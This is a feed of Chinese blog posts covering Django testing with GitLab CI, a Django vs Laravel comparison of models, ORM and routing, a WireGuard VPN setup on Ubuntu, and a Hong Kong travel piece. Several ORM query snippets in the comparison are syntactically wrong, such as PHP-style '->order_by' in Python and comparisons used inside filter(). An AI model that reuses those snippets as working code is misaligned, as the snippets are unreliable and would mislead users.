不过呢,这样的设计还是有以下缺点或者说可能的无法掌握的故障点:

  1. DigitalOcean 帐号被盗/丢失 -> 丢失照片数据(照片是加密的,不会泄漏)
  2. Google 帐号丢失/被锁定 -> 丢失了手机拍摄照片,需要重新同步之前拍摄照片并重建 Album

我知道这样一个方案看上去有点麻烦,不过呢:

数据无价,谨慎操作。——DiskGenius

此外,如果 DigitalOcean 的无限桶计划比较吸引你的话,可以考虑通过我的 aff 注册:「https://m.do.co/c/b0f12a777820」,这样你在注册的时候可以直接获得 100$,我也可以得到 25$ 来给我的 Spaces 续费,国安民乐,岂不美哉?

]]>
使用 GitLab Runner 完成 Django CIhttps://nova.moe/django-ci-with-gitlab-runner/Mon, 17 Jun 2019 14:38:13 +0000https://nova.moe/django-ci-with-gitlab-runner/

Code without tests is broken by design.” - Jacob.

写应用,部署应用,很重要的一个环节便是测试(然后就是所谓的 CI/CD( Continuous Integration and Continuous Delivery)),可能许多初学者写软件/或者 Web App 会经历几个阶段(我也是这么过来的):

  • 直接 xxx startproject yyy 然后开始写,每天存盘
  • 学会使用 GitHub 之后开始每天晚上将自己写的代码推送到 GitHub 作为一个备份
  • 学会在操作失误之后使用 git reset HEAD --hard 回滚到上一个可用的状态
  • 和一些同学在 GitHub 上协作,然后多个人修改了同一个文件之后遇到 Conflict ,开始扯皮(我不是说了你不要改这个奇怪的地方嘛?你等会,我先把这个推送了来)
  • 学会使用 Branches 减少扯皮次数,并且服务端脚本通过定期pull GitHub 上的代码来完成功能的上线(涉及到数据库修改的就先 down 一下)
  • 发现用户总是会先比自己发现代码上的 Bug
  • 开始学习写一些测试

那么问题来了:

Django 怎么写测试

这个基本可以参考 Django 官方文档,如果希望自己的代码看上去有条理一点就不要所有测试全部丢在 tests.py 里面,可以多创建几个文件,比如 test_static_views.pytest_auth_functions.py 之类,毕竟:

The default startapp template creates a tests.py file in the new application. This might be fine if you only have a few tests, but as your test suite grows you’ll likely want to restructure it into a tests package so you can split your tests into different submodules such as test_models.py, test_views.py, test_forms.py, etc. Feel free to pick whatever organizational scheme you like.

假设我们需要一个非常简单的测试,测试一下首页是否可以工作,可以如何来写呢?

from django.test import TestCase, Client

# These are tests for static pages and login/register function.
class ViewTests(TestCase):
    def test_index(self):
        response = self.client.get('/')
        self.assertEqual(response.status_code,200)

这样假设访问首页能获得一个 200 的返回(而不是 403,415 啥的)的话测试就通过啦,本地先验证一下,使用 python manage.py test <app 的名字> 来测试某一个 app 下的测试,返回结果可能如下所示:

(env) ➜  app git:(master) python manage.py test <app 的名字>
Creating test database for alias 'default'...
System check identified no issues (0 silenced).
.
----------------------------------------------------------------------
Ran 1 test in 0.008s

OK
Destroying test database for alias 'default'...

没问题了?好的,我们下一步看看如何在 git push 之后让服务器帮我们跑一下测试(之后还可以加入一些,测试通过后自动部署的操作)。

GitLab && GitLab Runner

为了(更加贴近 LeetCode 技术栈|希望尝试一下 Python 的 Web 框架),这里使用 GitLab 作为项目托管,并且分别演示如何使用 GitLab.com 官方的 Shared Runner (基于 GCE)和使用自己的 Runner (放在自己的 Docker 中)来运行测试(毕竟官方那个… 好像有点慢)。

使用 GitLab Shared Runner

要在 GitLab 上运行自己的测试,我们需要在项目的根目录下创建一个名为 .gitlab-ci.yml 的文件(当然,也可以不放在根目录下,不过这样的话需要自己指定一下),内容可能如下:

stages:
  - test

test:
  stage: test
  script:
    - apt-get update -qy
    - apt-get install -y python3-dev python3-pip
    - cd app # 我的应用放在了 app 目录下,所以需要先 cd 进去
    - cp leetcode-sample/settings.py.example leetcode-sample/settings.py # 我的 settings.py 被 gitignore 了,防止暴露一些敏感信息
    - pip3 install -r requirements.txt
    - python3 manage.py test

然后直接 push 就可以了,一般来说,你可以看到如下的结果:

看日志的话最后几行应该如下:

$ python3 manage.py test
Creating test database for alias 'default'...
.
----------------------------------------------------------------------
Ran 1 test in 0.008s

OK
Destroying test database for alias 'default'...
System check identified no issues (0 silenced).
Job succeeded

和我们想要的一样,不错~

使用自己的 GitLab Runner

安装 Docker 后运行 GitLab Runner,可以参考我的 n0vad3v/dockerfiles 仓库下的 gitlab-runner ,通过 docker-compose up -d 启动之后通过 docker ps 获取到自己的 CONTAINER ID,然后进入容器进行配置:

$ docker exec -it <Container ID> gitlab-runner register

配置方法参考:Registering Runners | GitLab 即可,如果没有在 .gitlab-ci.yml 中指定的话,会默认使用 ruby:2.7 的包,这里由于我们主要是 Django 项目,所以可以指定一个 python:3.7 之类的 image,完成之后应该可以在自己的项目设置中看到自己的 Runner:

不过如果你像我这样随意打 Tag 的话容易提交了没法运行,并且报错:

This job is stuck because the project doesn’t have any runners online assigned to it.

这里一个简单粗暴的方法是勾选"Indicates whether this runner can pick jobs without tags",即可~

多写测试,尽量测试驱动开发,不仅可以减少上来就写代码而导致的后期的麻烦,还可以在一些特殊场合(比如面试的时候)给他人一个比较良好的印象。

]]>
Django 和 Laravel 的一些使用上的异同对比——数据模型和 ORMhttps://nova.moe/differences-between-laravel-and-django-models-and-orm/Sun, 16 Jun 2019 00:41:49 +0000https://nova.moe/differences-between-laravel-and-django-models-and-orm/在之前的文章《Django 和 Laravel 的一些使用上的异同对比——路由篇》提到了路由和视图(控制器)之间的一些对比,不过 Django 和 Laravel 的区别不仅仅在于这两个方面,数据模型和 ORM 也是,在一个 MVC 的框架中,我们多半需要使用数据库来存储我们的数据(无论是文章,还是评论,或者用户~~,当然你要存图片的话,或许也行~~),我们一般很少涉及到一些裸 SQL 的编写,而是使用到 ORM,同样,我们也很少需要手动创建一个数据库,而是使用模型(Models)来迁移(Migrate)。

数据模型(Models)

数据模型的概念让我们对于数据的存放和操作有了一层封装,对于简单的操作来说,有了 ORM 之后会非常的方便(但是数据库原理这门课程依然要好好学)。

  • 所谓的「模型」(model),可以理解我们对于数据库结构的定义,比如有哪些字段,分别是什么类型之类。

  • 所谓的「迁移」(migrate),可以理解为将我们定义的模型实例化为真正的数据库里面的结构的过程。

  • 所谓的「迁移文件」(migrations),在 Laravel 中就是直接编写的文件,对于 Django 来说,是通过 python manage.py makemigrations <app名字> 生成的文件。

Laravel

如果要创建一个 Model,会使用到指令:php artisan make:model User -m,这个指令会创建一个位于app/User.php 的文件,同时创建对应的数据库模型迁移文件(migration),在 Laravel 中,数据模型的定义大致类似如下:

Schema::create('users', function (Blueprint $table) {
    $table->bigIncrements('id');
    $table->string('name');
    $table->string('email')->unique();
    $table->timestamp('email_verified_at')->nullable();
    $table->string('password');
    $table->rememberToken();
    $table->timestamps();
});

一般来说,这些文件被统一地存放在 database/migrations/ 中(如果需要手动创建的话,创建指令为:php artisan make:migration users),一个表就会有一个对应的文件(被称为 migrations),文件名会按照创建对应文件的时间为前缀命名,比如上面 Laravel 自带的 User 表的 migration 文件的文件名为:2014_10_12_000000_create_users_table.php

要把这个所有已经定义好的模型「迁移」(migrate)到数据库中,使用指令:

php artisan migrate

如果迁移坏了,需要从 0 开始(删除之前的表并重新创建结构)的话:

php artisan migrate:fresh

Laravel 中对于数据库结构的改变是体现在 migrations 中的文件,每修改一次都会创建一个新的 migration 文件,文件名一般为 20xx_mm_dd_hhmmss_alter_xx_table.php,指令是大致类似: php artisan make:migration add_votes_to_users_table --table=users

Django

在 Django 中,数据模型的定义大致如下:

from django.db import models

class Person(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)

对应的文件会默认在每个 app 下的 models.py 中存放,如果要迁移的话,需要先生成「迁移文件」,通过指令:python manage.py makemigrations <app名字>,然后通过 python manage.py migrate 来迁移。

Django 中对于数据库结构的变化并不会直接让使用者创建新的 migrations,如果需要修改数据库的话,直接修改 models.py 就可以了,在 makemigrations 之后 Django 会自动生成额外的 migration 文件。

ORM

所谓 ORM,即 Object Relational Mapping,翻译过来就是对象关系映射,Wiki 上的描述如下:

Object-relational mapping (ORM, O/RM, and O/R mapping tool) in computer science is a programming technique for converting data between incompatible type systems using object-oriented programming languages. This creates, in effect, a “virtual object database” that can be used from within the programming language. There are both free and commercial packages available that perform object-relational mapping, although some programmers opt to construct their own ORM tools.

以一个不严谨但是简单以及实用的角度上来说,就是将一个个的数据库的操作变成一个个类的函数调用,还是不理解?假设我们需要查询 id(假设是主键)为 2 的文章,我们在 SQL 中可能会有如下几个指令:

SELECT * FROM articles WHERE id = 2;
SELECT * FROM articles WHERE type = "gallery";
SELECT * FROM articles WHERE type = "post" ORDER BY created_at DESC;

但是如果在 ORM 中话,可能是如下写法。

Laravel

查询指令

假设在 Laravel 中:

article = Article::find(2);
gallery_list = Article::where(type,"gallery")->get();
post_list = Article::where(type,"gallery")->desc()->get();

要用到这个需要引入我们的类,一般来说在自己的 Controller 顶部这样写:

use App\Article;

就可以了。

多对多关系查询

假设在某个系统中有这么个需求,一个学生(user)可以属于多个班级,一个班级(team)又包含了许多学生,这样学生和班级之间就构成了一个多对多的关系,通过中间表 team_user ,在 Laravel 中我们应该如何做呢?

首先在 User 模型(app/User.php)中定义好对于 Team 的连接:

public function teams()
{
    return $this->belongsToMany('App\Team','team_user','user_id','team_id');
}

然后在控制器中就可以通过一个 User 来找出 TA 属于哪一个 Team 了:

$user_object = User::find($user_id);
$user_teams = $user_object->teams()->get();

很方便是不是?

要把一个 User 和一个 Team 关联起来呢?

$team_object = Team::find($team_id); # 找到 Team
$user_object = User::find($user_id); # 找到 User
$user_object->teams()->attach($team_object); # 关联~

如果希望反向使用,如下:

$team_object->users()->attach($user_id);

的话,需要在 Team 模型(app/Team.php)中申明对于 User 的连接:

public function users()
{
	return $this->belongsToMany('App\User','team_user','team_id','user_id');
}

Django

查询指令

如果在 Django 中需要完成这些操作的话该如何操作呢?

article = Article.objects.get(pk=2)
gallery_list = Article.objects.filter(type == "gallery")
post_list = Article.objects.filter(type == "post")->order_by('-created_at')

同样,需要引入模型的文件:

from .models import Article

多对多关系查询

Django 中的多对多关系需要在数据库设计的时候加入一些额外的操作,官方的示例如下(一个 Article 可以被发布到多个 Publications 中,一个 Publication 中可以包含多个 Articles):

from django.db import models

class Publication(models.Model):
    title = models.CharField(max_length=30)

    class Meta:
        ordering = ('title',)

    def __str__(self):
        return self.title

class Article(models.Model):
    headline = models.CharField(max_length=100)
    publications = models.ManyToManyField(Publication)

    class Meta:
        ordering = ('headline',)

    def __str__(self):
        return self.headline

这样要给一个 Publication 加入一些 Articles 可以如下操作:

p1 = Publication(title='The Python Journal')
p1.save() # 先创建一个 Publication
a1 = Article(headline='Django lets you build Web apps easily') # 创建文章
a1.publications.add(p1) # 关联~

如果需要反向关联的话,需要在 Models 中定义,不过似乎在 Django 中没法双向关联,毕竟是由数据库模型保证的。

小结

本文列举了少量在 Django/Laravel 开发中常用的数据模型和 ORM 的一些操作的对比,可以看出 Laravel 和 Django 在这个方面是走了两个完全不同的风格,尤其是在数据定义的部分,个人感觉 Laravel 倾向于让程序解决数据的操作问题,而 Django 更加倾向于让数据库承担一部分操作。

不过 Laravel 在设计数据迁移的时候似乎有一个比较诟病的地方,这里引用知乎网友的评论:

检出代码想看看这个版本的代码的数据库结构,需要创建一个数据库,然后运行迁移创建表,最后去数据库才能查看当前的数据库结构… 想直接从代码里面看当前的数据库结构?对不起,只有每次的数据库迁移脚本,没有最新版的数据库结构,你自己从头到尾滤迁移脚本去吧…

请问laravel优雅在何处? - GameXG的回答 - 知乎https://www.zhihu.com/question/30279133/answer/95285320

这个的确是,Django 做到了看一遍 models.py 就可以知道当前数据库的结构是如何的(除非你没跑 migrate),而 Laravel 如果做了一些表的修改,就会生成一系列的 alter_table 文件,比如一个比较有名的基于 Laravel 的监控系统 Cachet 的 migrations 便是如此,列出文件供大家欣赏:

➜  migrations git:(2.4) tree
.
├── 2015_01_05_201324_CreateComponentGroupsTable.php
├── 2015_01_05_201444_CreateComponentsTable.php
├── 2015_01_05_202446_CreateIncidentTemplatesTable.php
├── 2015_01_05_202609_CreateIncidentsTable.php
├── 2015_01_05_202730_CreateMetricPointsTable.php
├── 2015_01_05_202826_CreateMetricsTable.php
├── 2015_01_05_203014_CreateSettingsTable.php
├── 2015_01_05_203235_CreateSubscribersTable.php
├── 2015_01_05_203341_CreateUsersTable.php
├── 2015_01_09_083419_AlterTableUsersAdd2FA.php
├── 2015_01_16_083825_CreateTagsTable.php
├── 2015_01_16_084030_CreateComponentTagTable.php
├── 2015_02_28_214642_UpdateIncidentsAddScheduledAt.php
├── 2015_05_19_214534_AlterTableComponentGroupsAddOrder.php
├── 2015_05_20_073041_AlterTableIncidentsAddVisibileColumn.php
├── 2015_05_24_210939_create_jobs_table.php
├── 2015_05_24_210948_create_failed_jobs_table.php
├── 2015_06_10_122216_AlterTableComponentsDropUserIdColumn.php
├── 2015_06_10_122229_AlterTableIncidentsDropUserIdColumn.php
├── 2015_08_02_120436_AlterTableSubscribersRemoveDeletedAt.php
├── 2015_08_13_214123_AlterTableMetricsAddDecimalPlacesColumn.php
├── 2015_10_31_211944_CreateInvitesTable.php
├── 2015_11_03_211049_AlterTableComponentsAddEnabledColumn.php
├── 2015_12_26_162258_AlterTableMetricsAddDefaultViewColumn.php
├── 2016_01_09_141852_CreateSubscriptionsTable.php
├── 2016_01_29_154937_AlterTableComponentGroupsAddCollapsedColumn.php
├── 2016_02_18_085210_AlterTableMetricPointsChangeValueColumn.php
├── 2016_03_01_174858_AlterTableMetricPointsAddCounterColumn.php
├── 2016_03_08_125729_CreateIncidentUpdatesTable.php
├── 2016_03_10_144613_AlterTableComponentGroupsMakeColumnInteger.php
├── 2016_04_05_142933_create_sessions_table.php
├── 2016_04_29_061916_AlterTableSubscribersAddGlobalColumn.php
├── 2016_06_02_075012_AlterTableMetricsAddOrderColumn.php
├── 2016_06_05_091615_create_cache_table.php
├── 2016_07_25_052444_AlterTableComponentGroupsAddVisibleColumn.php
├── 2016_08_23_114610_AlterTableUsersAddWelcomedColumn.php
├── 2016_09_04_100000_AlterTableIncidentsAddStickiedColumn.php
├── 2016_10_24_183415_AlterTableIncidentsAddOccurredAtColumn.php
├── 2016_10_30_174400_CreateSchedulesTable.php
├── 2016_10_30_174410_CreateScheduleComponentsTable.php
├── 2016_10_30_182324_AlterTableIncidentsRemoveScheduledColumns.php
├── 2016_12_04_163502_AlterTableMetricsAddVisibleColumn.php
├── 2016_12_05_185045_AlterTableComponentsAddMetaColumn.php
├── 2016_12_29_124643_AlterTableSubscribersAddPhoneNumberSlackColumns.php
├── 2016_12_29_155956_AlterTableComponentsMakeLinkNullable.php
├── 2017_01_03_143916_create_notifications_table.php
├── 2017_02_03_222218_CreateActionsTable.php
├── 2017_06_13_181049_CreateMetaTable.php
├── 2017_07_18_214718_CreateIncidentComponents.php
├── 2017_09_14_180434_AlterIncidentsAddUserId.php
├── 2018_04_02_163328_CreateTaggablesTable.php
├── 2018_04_02_163658_MigrateComponentTagTable.php
├── 2018_06_14_201440_AlterSchedulesSoftDeletes.php
└── 2018_06_17_182507_AlterIncidentsAddNotifications.php

0 directories, 54 files

的确有点感人…虽然这样的形式可以按照文件前的时间顺序执行迁移并且有向后兼容的能力,但是把 Model 和 Migration 写在一个文件里面的话对于大型项目来说可能并不是非常容易管理,虽然 Laravel 在路由和控制器上的优雅占有很大优势,不过这一点上我投 Django~

]]>
Django 和 Laravel 的一些使用上的异同对比——路由篇https://nova.moe/differences-between-laravel-and-django-routing/Fri, 07 Jun 2019 20:50:18 +0000https://nova.moe/differences-between-laravel-and-django-routing/由于一些原因(贴近 LeetCode 技术栈|希望尝试一下 Python 的 Web 框架),需要使用 Django 来做一些开发,在使用上感受到了与之前习惯的 Laravel 框架之间的一些差异。

Django 和 Laravel 都是 MVC 框架,所以从理论上来说他们的工作逻辑都是差不多的,不过从实际的使用体验上来看,还是有一些比较大的差距,遂决定从自身使用的角度来评点一下这些差异,或许可以帮助一些还在 Laravel 中且希望往 Django 转换的同学一些参考。

路由

这个解释起来非常简单,简单来说,就是给定一个地址,我们要做什么操作,最简单的可能就是普通的页面啦,我们只需要渲染一个页面就好啦,稍微复杂一点的可能需要处理用户订单,修改密码啥的。

Laravel

渲染请求

在 Laravel 的一些小型项目中,路由的文件是放在:routes/web.php 中的,比如我们需要响应一个静态的 /about 页面,那么路由中是这样写的:

Route::get('/about','PageController@about');

表示如果用户访问了 /about ,那么使用 PageControllerabout 方法(也就是函数)来处理, PageController 是通过指令:

php artisan make:controller PageController

来生成的,位于:app/Http/Controllers/PageController.php 中,对应的函数是:

public function about()
{
    return view('about');
}

不同类型的请求

如果要响应不同类型的请求的话,可以这样写(哈哈,为什么一个 about 页面要接受这么多请求):

Route::post('/about','PageController@create_about');
Route::put('/about','PageController@edit_about');
Route::delete('/about','PageController@delete_about');

如果是一个 CRUD 项目的话,你其实可以直接偷懒使用:

php artisan make:controller PhotoController --resource

来生成对应控制器,直接处理四中不同的 HTTP 请求,对应路由可以这么写:

Route::resources([
    'photos' => 'PhotoController',
    'posts' => 'PostController'
]);

然后你就可以直接处理以下请求了,是不是很方便?

Verb URI 方法(函数) Route Name
GET /photos index photos.index
GET /photos/create create photos.create
POST /photos store photos.store
GET /photos/{photo} show photos.show
GET /photos/{photo}/edit edit photos.edit
PUT/PATCH /photos/{photo} update photos.update
DELETE /photos/{photo} destroy photos.destroy

这里补充一个,从我最初接触 Laravel 的时候(Laravel 5.6)还没有 /photos/{photo}/edit 这个对应的 GET 请求,所以如果需要显示一个包含编辑器的修改页面的话还需要手动创建一个 GET 请求的地址用来显示,当然,这么操作我是学习(抄袭)的 GitHub Gist 的。

好奇的同学可能要问了,这个 view('about') 是个什么,其实是对应的 resources/views/about.blade.php 这个页面的内容,即直接在这个文件中写入 HTML 即可。

由于 HTML 规范中没有 DELETE/PUT 之类的请求,所以 Laravel 对于这类请求的方法是,在 <form> 中加入一个字段来表示:

@method('PUT')

这样写的话,Laravel 会在表单中渲染成以下给后端去处理:

<input type="hidden" name="_method" value="PUT">

对应的,csrf 是这样写的:

@csrf

会被渲染成:

<input type="hidden" name="_token" value="{{ csrf_token() }}">

跳转请求

那么假设我们完成了一个请求,需要进行跳转的话(比如下单成功,自动跳转回用户个人面板这种),该如何操作呢?

return redirect('home/dashboard');

啊哈~

Django

在 Django 中创建路由就稍微麻烦一些,因为刚刚创建好的一个项目中会有一个和项目同名的文件夹,其下有一个 urls.py ,默认的文件结构是这样的:

mysite/
    manage.py
    mysite/
        __init__.py
        settings.py
        urls.py
        wsgi.py

文件内容是这个样子的:

from django.urls import path

from . import views

urlpatterns = [
    path('', views.index, name='index'),
]

官方推荐的方式是,如果需要做什么请求的话,建议分到一个被称为 app 的里面去,一般就是创建了一个同级的文件夹(通过指令:django-admin startapp polls),内部有独立的模型和视图,文件结构一般如下,这里以官方的 polls 这个 app 为例:

mysite/
    manage.py
    mysite/
        __init__.py
        settings.py
        urls.py
        wsgi.py
    polls/
        __init__.py
        admin.py
        apps.py
        migrations/
            __init__.py
        models.py
        tests.py
        urls.py
        views.py

然后就需要在 /mysite/mysite/urls.py 中手动引用:

from django.contrib import admin
from django.urls import include, path

urlpatterns = [
    path('polls/', include('polls.urls')),
    path('admin/', admin.site.urls),
]

然后在 /mysite/polls/urls.py 中接受一些路由,比如(以下来自我自己一个项目的 urls.py,有删改):

from django.urls import path
from . import views

urlpatterns = [
    path('about/',views.about),
    path('status/',views.status),
]

哦对了,polls 下刚刚创建好的时候呀,连 urls.py 都没有,几乎所有需要需要 import 的内容呀,需要手动去官网查…

渲染请求

在上面的例子中,我们已经定义了 /polls/about/ 的路由了,是由 views(也就是 views.py 文件)中的 about 方法(也就是函数)来处理,那么对应的方法是如何写的呢?

def about(request):
    return render(request,'about.html',{})

看上去很简单?不对哦,我们还需要手动引用一些东西,不然会报错,比如:

from django.shortcuts import render

这个东西哪儿来?得自己查…

不同类型的请求

POST 和 GET 请求好说,可以有两种方式实现,一个是直接写在方法里面,大致如下:

if request.method == 'GET':
    do_something()
elif request.method == 'POST':
    do_something_else()

或者也可以使用一个被称为 class-based view 的方式来写,如下:

class HelloController(View):
    def get(self, request):
        hello_param = request.GET["helloParam"]

    def post(self, request):
        hello_param = request.POST["helloParam"]

如果需要处理 PUT 之类的请求的话…似乎不行…

CSRF 的话,Django 中写法如下:

{% csrf_token %}

跳转请求

同样,如果我们完成了一个请求,需要跳转的话,应该如何写呢?

return HttpResponseRedirect('home/dashboard')

这样就完了?不对哦,还得手动引用:

from django.http import HttpResponseRedirect

小结

从以上对比可以看出,对于一个不是非常大的项目来说,Laravel 的中心化管理路由的方式比较容易理解,尤其是一键创建多个方法的操作比较适合 CRUD (比如简单的博客系统之类的),但是这样的设计会在一定程度上给使用者一些局限性,不得不 Think the Laravel Way,还是有少量的不便。

而 Django 的话,如果完全不理解 MVC 的模式的话,上手可能会比较头痛(毕竟官方文档似乎不是很…亲民?),但是从长远来看,撇开那个自带的 admin 不说,分布式的路由结构还是非常适合团队合作以及各种类型的项目的,当然,需要对于整个项目有一个比较好的把控才行。

]]>
在 Ubuntu 18.04 上建立 WireGuard 隧道组建 VPS 大内网https://nova.moe/deploy-wireguard-on-ubuntu-bionic/Sun, 05 May 2019 20:33:43 +0000https://nova.moe/deploy-wireguard-on-ubuntu-bionic/其实感觉非常矛盾,本身对于 WireGuard 隧道的建立不是一键非常复杂的事情,本来本文应该丢到自己的 Ignorance Notebook 上的,不过搜了一下中文的圈子基本上都是一键安装脚本之类的,遂还是打算放在自己的博客上了。

Current Problem

由于需要对自己的各个服务器进行监控,最近实践了一下 Grafana + InfluxDB + Telegraf 的栈,但是遇到了一个问题,即我的 Telegraf 需要安装在远程的主机上并向自己的 Master 节点返回数据,大致架构如下:

  • Master 节点:
    • Grafana
    • InfluxDB
    • Telegraf
  • Slave 节点:
    • Telegraf

这样就带来了一个访问控制的问题,由于 Slave 和 Master 多不在一个机房当中,所以没法享受内网数据传输,遂决定利用 VPN 的方式自建一个内网起来,保证数据的传输安全性,我知道我知道,如果要保护数据安全的话其实有很多的方式比如:

  • 利用反向代理保护 InfluxDB 并只允许某些自己的主机访问
  • 加入 SSL
  • 等等…

但是由于懒,加上希望有一个比较无缝的实现,且可以对上层其他的应用加以保护(比如 MySQL 的主从热备),所以便考虑了 VPN 的方式组网。同样,VPN 的选择也是多种多样,PPTP 由于感觉安全性不够最先被排除,OpenVPN 由于感觉配置过于复杂也被排除(而且据 Morgan Wu 讲这样的 VPN 有比较大的 Overhead),最后考虑了一个比较新兴且大家普遍比较喜欢的 WireGuard。

WireGuard Introduction

关于 WireGuard,有一下特点(来自 WireGuard 官网):

  • WireGuard securely encapsulates IP packets over UDP.(WireGuard 走的 UDP 协议,防火墙放行的时候别搞错了)

  • WireGuard aims to be as easy to configure and deploy as SSH.

  • A combination of extremely high-speed cryptographic primitives and the fact that WireGuard lives inside the Linux kernel means that secure networking can be very high-speed.

  • 加密方式是 ChaCha20-Poly 1305,Hash 算法是 BLAKE2s.

在一个官方的测试中,WireGuard 吞吐效率和其他同级别 VPN 对比图:

总的来说,由于集成在内核中且使用了对于移动设备友好的加密和 Hash 算法,吞吐效率较高。公私钥对的验证方式,部署方便,Overhead 较小。

Deploy WireGuard

虽然网上有许多的一键安装脚本,这里还是提及一下一个常规的安装方式,使用的服务器系统是 Ubuntu 18.04(Bionic)。

首先两边的服务器(假设称为 Server 和 Client 嘛)都需要安装 WireGuard:

$ sudo apt-get update
$ sudo apt-get install wireguard

2022/05/08 更新:移除了 add-apt-repository ppa:wireguard/wireguard 步骤

原因:在 https://launchpad.net/%7Ewireguard 上:This formerly was responsible for producing a PPA for WireGuard on Ubuntu. That functionality has now been folded into Ubuntu itself, so our old PPA has been removed. Simply run apt install wireguard on all Ubuntus ≥ 16.04.

Server 和 Client 上进入 /etc/wireguard/ 目录,然后生成自己机器的公私钥对:

$ wg genkey | tee privatekey | wg pubkey > publickey

这样在每台主机上都会有两个文件:privatekeypublickey

WireGuard 是通过创建一个虚拟接口的方式来转发流量的,这里我们暂时停一下来明确一下我们的网络规划。

Host wg0 Address(WireGuard 内部使用) eth0 Address(服务商给的公网 IP)
Server 192.168.1.1/24 1.1.1.1
Client 192.168.1.2/24 2.2.2.2

Server 上开放 51820 端口(切记是 UDP)用于 Client 连接,在每台机器上 /etc/WireGuard/ 目录下创建一个名为 wg0.conf 的文件,内容分别如下:

在 Server 上的 wg0.conf

[Interface]
Address = 192.168.1.1/24
SaveConfig = true
ListenPort = 51820
PrivateKey = < 这里填写 Server 上 privatekey 的内容 >

# Client
[Peer]
PublicKey = < 这里填写 Client 上 publickey 的内容 >
AllowedIPs = 192.168.1.1/24

在 Client 上的 wg0.conf

[Interface]
PrivateKey = < 这里填写 Client 上 privatekey 的内容 >
Address = 192.168.1.2/24

# Server
[Peer]
PublicKey = < 这里填写 Server 上 publickey 的内容 >
Endpoint = 1.1.1.1:51820
AllowedIPs = 192.168.1.1/24

然后在双方主机上各自 wg-quick up wg0 即可。

通过 wg 指令即可查看目前接口使用情况,比如从我的 Client 上:

interface: wg0
  public key: < Client 上的 publickey >
  private key: (hidden)
  listening port: 49992

peer: < Server 上的 publickey >
  endpoint: 1.1.1.1:51820
  allowed ips: 192.168.1.0/24
  latest handshake: 1 minute, 46 seconds ago
  transfer: 7.02 MiB received, 172.99 MiB sent

此时隧道已经建立,双方主机已经可以通过内网 IP (这里的例子中是 192.168.1.1192.168.1.2 进行加密地通讯了,无论是 MySQL 热备还是 Nginx 反向代理都可以爽快地使用内网地址跑起来啦~

References

1.WireGuard: fast, modern, secure VPN tunnel

]]>
大灣區遊記——香港https://nova.moe/trip-to-hk/Thu, 25 Apr 2019 00:26:35 +0000https://nova.moe/trip-to-hk/關於香港,Carbo Kuo 在自己的博客「過去一年的環球旅行」中有如下描述:

香港不愧是東方之珠,其繁華程度是我去過的最高的城市,有甚於紐約、倫敦。香港是一個非常自由的都市,在這裏可以看到許多內地已經消失或者禁止的東西,如一大片算命的攤位、當街兜售色情電影,甚至還能聞到一些大麻的味道。同時香港具有極高的包容性,無論是粵語、英語還是普通話,到處可以聽得到。我在香港專門住在了號稱亞洲最國際化的地方「重慶大廈」,這裏是印度人的聚集地,塞滿了廉價小旅館,居住環境和港島半山富人區簡直天壤之別。在香港真的是有錢人有有人錢的活法,窮人有窮人的活法,令人印象深刻。

前一段時間的一次偶然的機會得以前往大灣區——香港和深圳,雖然由於計劃原因在到達香港的當天就直接返回大陸了,不過這次港深之行還是留下了諸多回憶,本文從香港開始講起,以後有機會也可以提提深圳的情況。

爲了避免文章變得和一些無趣的旅遊網站遊記一樣無趣(畢竟許多人都是跟着一些 “網紅” 線路帶着非常優秀的攝影器材走走吃吃喝喝拍拍,加之由於時間有限也不能像一些「香港旅居記」一樣造訪一些比較小衆的景點去發掘香港本土人的生活狀況),所以本文將挑選一些個人認爲比較有意思的點加以展開,嘗試去挖掘一些表面事物背後的一些有意思的故事。

語言 & 文字

對的,香港使用的是繁體中文(或者,我們大陸人理解的那種「繁體中文」),這個裏面水太深了,只能說有興趣的朋友們可以自行搜索一下,一旦開始探索便感覺深似海,從語言開始可以瞭解我們國家的文字發展變革,也可以理解到歷史的進程。

由於本文是關於香港的,所以本文我儘量使用《香港特別行政區教育局》出版的「中英對照香港學校中文學習基礎字詞」作爲規範進行撰寫,由於對於相關領域瞭解不深,可能會無意中包含一些「繁體中文(臺灣)」在文中,還請各位讀者見諒。

中港邊界

目前從深圳到達香港有許多途徑,除了一些口岸(比如羅湖或者福田)以外,還有動車(動感號)可以前往。由於在去之前在羅湖口岸有一些多餘的時間,遂在附近探索了一下,發現了一些比較有意思的地方,比如一條似乎中港互通的鐵路(後從香港發現好像的確是互通的),在大陸側拍攝圖片如下:

在香港側拍攝圖片:

經過了一些搜索後得知這一條線路是廣九直通車,從內地過去後有道岔,(往香港方向)向右應該是大陸鐵路到達西九龍的列車,左側就是港鐵東鐵線的線路了。


之前還和同學開玩笑說:香港人在口岸附近開一個熱點,這樣大陸就可以無縫訪問國際互聯網了,但是在一些搜索之後得知有一個被稱爲「禁區」的地方,維基百科摘錄如下:

香港邊境禁區(英文:Frontier Closed Area)主要指設於香港新界北的邊境禁區,其中包括北區的沙頭角市及鄉郊、羅湖、文錦渡、部份打鼓嶺地區及元朗區落馬洲及支線範圍。範圍最廣時期達約2,800公頃,至2016年縮減至約400公頃,不少沙頭角周邊村落、打鼓嶺周邊村落、馬草壟一帶、沙嶺一帶以及新田部份地區被釋出禁區。

南面海島也有一些禁區,如石鼓洲。

羅湖村的大部份範圍並不屬禁區,但進村的道路屬於港鐵及邊境部門共同管理的封閉道路,而該村被險要的山嶺包圍,因此必須持有禁區許可證方可進入。

所以,估計這個思路是不行的。(要中港快速互通的可以考慮 HKT 家寬或者中港專線嘛


值得一提的是,往返於大陸和香港西九龍的動感號(高鐵)是港鐵公司的:

港鐵動感號高速電動列車(英文:Vibrant Express),正式命名前曾称为“香港高速電動列車[3]”,為香港特別行政區政府[4]委託港鐵公司招標採購的高速动车组,是中國大陸唯一一款出口型高速電動列車。

動感號高速電動列車是中車四方在CRH380A高速动车组技术平台上为港鐵量身订做,在保持其技术特色的基础上,在列车的性能上做进一步的提升[5]。

港鐵

講到港鐵,給我的第一印象就是,很快,東鐵線運行速度很快,基本維持在 90 kph 左右,尤其是經過道岔多的地方,車廂搖晃還是比較劇烈的。另一個快的感覺在於關門後到列車開動之間的時間間隔短,從羅湖的港鐵就已經有所領略香港這個城市的生活節奏,哦對了,港鐵沒有安檢。

作爲香港的城市交通,港鐵在香港市民的出行中扮演着非常重要的角色,對於其 Logo 的象徵意義:

